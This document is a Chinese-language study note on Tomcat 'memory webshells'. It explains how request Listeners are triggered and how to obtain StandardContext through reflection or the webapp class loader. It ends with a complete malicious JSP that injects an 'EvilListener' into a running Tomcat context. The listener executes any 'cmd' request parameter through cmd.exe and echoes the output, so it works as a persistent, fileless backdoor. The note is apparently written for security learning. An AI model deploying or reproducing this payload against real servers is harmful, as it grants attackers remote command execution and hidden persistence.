java内存马学习记录(一)
Tomcat Listener内存马
原理
请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的,Listener分以下几种
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
Request类型的Listener触发难度比较低,直接访问就可以,适合注册作为内存马
选择合适的Listener
在Tomcat中引入Listener需要实现两种接口,分别是LifecycleListener
和原生EventListener
实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。EvenListener
接口应用于各个对象事件的监听,有许多继承它的接口。
为了方便触发,这里关注继承EventListener
的ServletRequestListener
接口,该接口监听ServletRequest
对象的创建和销毁。
public interface ServletRequestListener extends EventListener {
/**
* The request is about to go out of scope of the web application.
* @param sre Information about the request
*/
void requestDestroyed (ServletRequestEvent sre);
/**
* The request is about to come into scope of the web application.
* @param sre Information about the request
*/
void requestInitialized (ServletRequestEvent sre);
}
requestInitialized
方法在Request对象创建时被调用,requestDestroyed
方法在Request对象销毁时调用。
实际访问任何资源时,都会触发requestInitialized
方法,通过自定义实现了ServletRequestListener
接口的Listener,可以在requestInitialized
方法中加入恶意代码。那么如何添加一个自定义的Listener呢?
引入Listener
自定义一个测试用的Listener
package test;
import javax.servlet.*;
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}
}
web.xml添加
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
在requestInitialized
处下断点,分析栈帧
requestInitialized:14, TestListener (test)
fireRequestInitEvent:5669, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
......
run:748, Thread (java.lang)
阅读StandardContext#fireRequestInitEvent
部分
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(
sm.getString("standardContext.requestListener.requestInit", instance.getClass().getName()),
t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
大致逻辑是getApplicationEventListeners()
返回了一个Listener实例数组,在for循环内遍历调用。跟进一下,看看是怎么获取实例数组的。
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
applicationEventListenersList
是StandardContext
的一个私有成员变量,搜索引用该变量的方法:
addApplicationEventListener(Object)
setApplicationEventListeners(Object[])
getApplicationEventListeners()
其中addApplicationEventListener
是我们需要的方法,通过它可以向StandardContext
注册自定义的Listener。
因此注册一个Listener内存马思路是这样的:
获取StandardContext
,调用StandardContext#addApplicationEventListener
注册恶意Listener。
获取StandardContext
(1) 通过request获取
这里的request是org.apache.catalina.connector.Request,实现了HttpServletRequest接口,因为jsp本质是servlet,可以直接调用
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
(2)通过WebappClassLoaderBase获取
这里涉及Tomcat的类加载机制,笔者不太了解,只记录方法
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
构造恶意Jsp注入内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
class EvilListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
//参考网上师傅的回显代码,通过I/O回显命令
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestDestroyed(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evil = new EvilListener();
context.addApplicationEventListener(evil);
%>